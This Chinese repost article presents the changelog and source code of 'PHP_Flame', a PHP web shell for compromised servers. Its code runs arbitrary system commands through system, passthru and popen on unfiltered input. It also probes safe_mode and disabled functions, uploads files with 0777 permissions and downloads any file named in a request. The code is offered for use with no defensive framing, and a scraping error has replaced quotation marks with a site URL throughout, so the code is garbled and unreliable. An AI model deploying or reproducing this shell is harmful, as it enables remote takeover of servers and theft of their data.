PHP_Flame(Version:Progress)的原代码
发布时间:2020-03-21 21:23:50 所属栏目:PHP教程 来源:互联网
导读:PHP_Flame(Version:Progress)的原代码
I PHP_Flame (Version: Progress ) 的一些信息: *修正了无法下载文件的BUG *修正了无法返回上级的BUG *修正了代码编辑出现错误的BUG ...... *增加PHPINFO的功能 *增加多文件下载的功能 *增加执行系统命令的功能 *增加代码查看功能 *增加服务器安全探测功能 ....... *还有许多美化工作。。。。。。 相关的资料: 1。修正了无法返回上级的BUG的代码: echo "<a href=http://www.jb51.net/article/"$php_self?act=dir&dir=$dir..">返回上级</a>"; 2。修正了无法下载文件的相关代码: case "download": if (!@is_file($_GET['file_name'])) echo"你要下的文件不存在"; $filename = basename($_GET['file_name']); $filename_info = explode('.', $filename); $fileext = $filename_info[count($filename_info)-1]; header('Content-type: application/x-'.$fileext); header('Content-Disposition: attachment; filename='.$filename); header('Content-Description: PHP3 Generated Data'); readfile($_GET['file_name']); break; 3。增加代码查看功能 <a href="<?echo$php_self;?>?actionaa=cmd&method=show_source&cmd=<? echo $_GET['file'];?>" target=_blank>文件代码</a> 4。修正了代码编辑出现错误的代码: $tem= str_replace("/textarea>","//textarea>",$tem); 。。。。。 $tem= str_replace("//textarea>","/textarea>",$tem); 5。增加服务器安全探测功能: if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>"; echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions"); if ($dis_func=="") { echo("<font color=red><b>no value</b></font>"); } else { $dis_func=str_replace(" ","<br>",$dis_func); $dis_func=str_replace(",","<br>",$dis_func); echo("$dis_func"); } 6。执行系统命令部分的代码: <? if ($actionaa=="cmd") { ?> <body bgcolor="#6595d6"> <form method="post" action="<?= $PHP_SELF ?>?actionaa=cmd"> <select> <option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option> <option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option> <option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option> <option value="opendir" <? if ($method=="opendir") { echo "selected"; } ?>>opendir</option> <option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option> </select><br> <input type="text" size="40" value="<?= $cmd; ?>"> <input type="submit" value="<?=$method?>"> <br> </form> <? if (!$method) { $method="system"; } if (!$cmd) { echo "* JSW'S PHP FLAME<br>"; echo "* Author: JSW<br>"; echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>"; echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions"); if ($dis_func=="") { echo("<font color=red><b>no value</b></font>"); } else { $dis_func=str_replace(" ","<br>",$dis_func); $dis_func=str_replace(",","<br>",$dis_func); echo("$dis_func"); } echo "<br>* Now please choose a function and enter the command......"; } echo "<br><pre>"; if ($method=="system") { system("$cmd 2>&1"); } if ($method=="passthru") { passthru("$cmd 2>&1"); } if ($method=="opendir") { $h=opendir($cmd); while($file=readdir($h)) { echo "$filen"; } } if ($method=="show_source") { if (show_source($cmd)) { //echo "<pre>"; //echo show_source($file); //echo "</pre>"; } else { echo "<script> alert("unable to read file: $file using: show_source"); </script>"; } } if ($method=="popen") { $pp = popen('$cmd 2>&1', 'r'); $read = fread($pp, 2096); echo $read; pclose($pp); } echo "</pre>"; exit; } ?> 7。增加文件上载的代码: <?php if($dir=="") $dir="./"; ?> <? if($tools==upload) { for($i=1;$i<21;$i++) { $temp1="userfile".$i; $temp2="userfile".$i."_name"; $source=$$temp1; $source_name=$$temp2; if(@$source!="") { @$v=file_exists($filedir); if(!$v) { mkdir(@$filedir,0777); } @chmod($filedir,0777); if(file_exists("$filedir/$source_name")=="1") { if($up_flag=="y") { @unlink($filedir/$source_name); @copy($source,"$filedir/$source_name"); echo $source_name."已覆盖上传<br>"; } else echo $source_name."请重新上传!<br>"; } else { @copy($source,"$filedir/$source_name"); echo $source_name."已上传<br>"; } } }//end for echo" <html> <head> <title>JSW'S PHP FLAME</title> <meta http-equiv=http://www.jb51.net/article/"Content-Type" content=http://www.jb51.net/article/"text/html; charset=gb2312"> <link href=http://www.jb51.net/article/t.css rel=stylesheet type=text/css> <script language=http://www.jb51.net/article/"javascript"> function setid() { str='<br>'; if(!window.uploadForm.upcount.value window.uploadForm.upcount.value>20 window.uploadForm.upcount.value==0) window.uploadForm.upcount.value=1; for(i=1;i<=window.uploadForm.upcount.value;i++) str+='文件'+i+':<input type=http://www.jb51.net/article/"file" name=http://www.jb51.net/article/"userfile'+i+'" style=http://www.jb51.net/article/"width:400" class=http://www.jb51.net/article/"tx1"><br><br>'; window.upid.innerHTML=str+'<br>'; } </script> </head> <body> <body bgcolor=http://www.jb51.net/article/"#6595d6"> <table width=http://www.jb51.net/article/"550" border=http://www.jb51.net/article/"1" cellspacing=http://www.jb51.net/article/"0" cellpadding=http://www.jb51.net/article/"5" align=http://www.jb51.net/article/"center"> <form name=http://www.jb51.net/article/"t" method=http://www.jb51.net/article/"get" action=http://www.jb51.net/article/"?"> <tr class=http://www.jb51.net/article/"t2"> <td><li> 1.指定上传目录(默认为本程序所在目录) <input type=http://www.jb51.net/article/"hidden" name=http://www.jb51.net/article/"tools" value=http://www.jb51.net/article/"upload"> <input type=http://www.jb51.net/article/"text" name=http://www.jb51.net/article/"dir"> <input type=http://www.jb51.net/article/"submit" value=http://www.jb51.net/article/"确定" name=http://www.jb51.net/article/"t"></td></li> </tr> </form> <form name=http://www.jb51.net/article/"uploadForm" method=http://www.jb51.net/article/"post" action=http://www.jb51.net/article/"?tools=upload&dir=$dir" enctype=http://www.jb51.net/article/"multipart/form-data"> <tr class=http://www.jb51.net/article/"t2"> <td> <li> 2.需要上传的个数(建议最大值 20) <input type=http://www.jb51.net/article/"text" name=http://www.jb51.net/article/"upcount" class=http://www.jb51.net/article/"tx" value=http://www.jb51.net/article/"1"> <input type=http://www.jb51.net/article/"button" name=http://www.jb51.net/article/"Button" class=http://www.jb51.net/article/"bt" onclick=http://www.jb51.net/article/"setid();" value=http://www.jb51.net/article/"设定"> </li> <li> 3.全部文件都覆盖上传: <input type=http://www.jb51.net/article/"radio" name=http://www.jb51.net/article/"up_flag" value=http://www.jb51.net/article/"y">是<input type=http://www.jb51.net/article/"radio" name=http://www.jb51.net/article/"up_flag" value=http://www.jb51.net/article/"n" checked>否 </li> <br> <br> 您的文件将被上传到: $dir <input type=http://www.jb51.net/article/"hidden" name=http://www.jb51.net/article/"filedir" class=http://www.jb51.net/article/"tx" value=http://www.jb51.net/article/"$dir"> <a href=http://www.jb51.net/article/"?">返回PHP_Flame</a> </td> </tr> <tr> <td id=http://www.jb51.net/article/"upid" height=http://www.jb51.net/article/"122"> 文件1: <input type=http://www.jb51.net/article/"file" name=http://www.jb51.net/article/"userfile1" style=http://www.jb51.net/article/"width:400" class=http://www.jb51.net/article/"tx1" value=http://www.jb51.net/article/"http://www.jb51.net/article/"> </td> </tr> <tr> <td> <input type=http://www.jb51.net/article/"submit" name=http://www.jb51.net/article/"upload" value=http://www.jb51.net/article/"上传" class=http://www.jb51.net/article/"bt"> <input type=http://www.jb51.net/article/"reset" name=http://www.jb51.net/article/"reset" value=http://www.jb51.net/article/"重执" class=http://www.jb51.net/article/"bt"> </td> </tr></form> </table> </body> </html>"; exit;} ?> 。。。。。。 最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: (编辑:焦作站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |